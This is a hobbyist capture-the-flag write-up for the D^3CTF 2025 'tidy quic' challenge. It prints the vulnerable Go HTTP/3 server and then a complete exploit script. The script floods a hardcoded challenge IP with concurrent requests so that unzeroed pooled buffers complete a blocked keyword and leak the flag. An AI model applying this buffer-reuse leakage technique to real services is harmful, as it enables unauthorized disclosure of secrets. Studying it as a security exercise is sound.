I write to revisit topics I’m interested in or when I’m bored and curious.
I participated Solo in this CTF hoping to get to around top 20 but the result is so bad i ain’t gonna talk about it lmao.
CTF Link : https://race.d3ctf.io/training/1?challenge=4
After downloading the given attachment , I quickly checked All Given Files in the which was a Go-based QUIC HTTP/3 server leads to a classic memory reuse vulnerability (I got to know later.)
Source Code:
package main
import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)
var p pool.BufferPool
var ErrWAF = errors.New("WAF")
func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}
type mux struct {
}
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}
var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
_, _ = w.Write(item)
}
}
type wrap struct {
io.ReadCloser
ban []byte
idx int
}
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}
There was two thing’s to notice
I want should be there at any time

- and the use of BufferPool , and it reuses the same memory chunks for performance.
then after crafting the payload , this below code gave me a light ,the buffer pool memory isn’t cleared before reuse

see something different? i am reflected with a5flag as before it used to be either flag or WAF
Finally , i got to know that the problem was with bytes , then i changed the code with
package main import ( "bytes" "crypto/tls" "fmt" "io" "log" "net/http" "sync" "time" quic "github.com/quic-go/quic-go" "github.com/quic-go/quic-go/http3" ) const URL = "https://35.241.98.126:32648" var poll = "huntx5flag" var trig = "I want" func main() { client := &http.Client{ Transport: &http3.RoundTripper{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true, NextProtos: []string{"h3"}}, QUICConfig: &quic.Config{MaxIncomingStreams: 1000}, }, Timeout: 15 * time.Second, } defer client.CloseIdleConnections() var wg sync.WaitGroup for i := 0; i < 100; i++ { wg.Add(1) go func() { defer wg.Done() req, _ := http.NewRequest("POST", URL, bytes.NewBufferString(poll)) req.ContentLength = int64(len(poll)) resp, err := client.Do(req) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } }() } wg.Wait() time.Sleep(time.Second) req, _ := http.NewRequest("POST", URL, bytes.NewBufferString(trig)) req.ContentLength = int64(len(poll)) resp, err := client.Do(req) if err != nil { log.Fatal(err) } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) fmt.Println(string(body)) }
Finally..
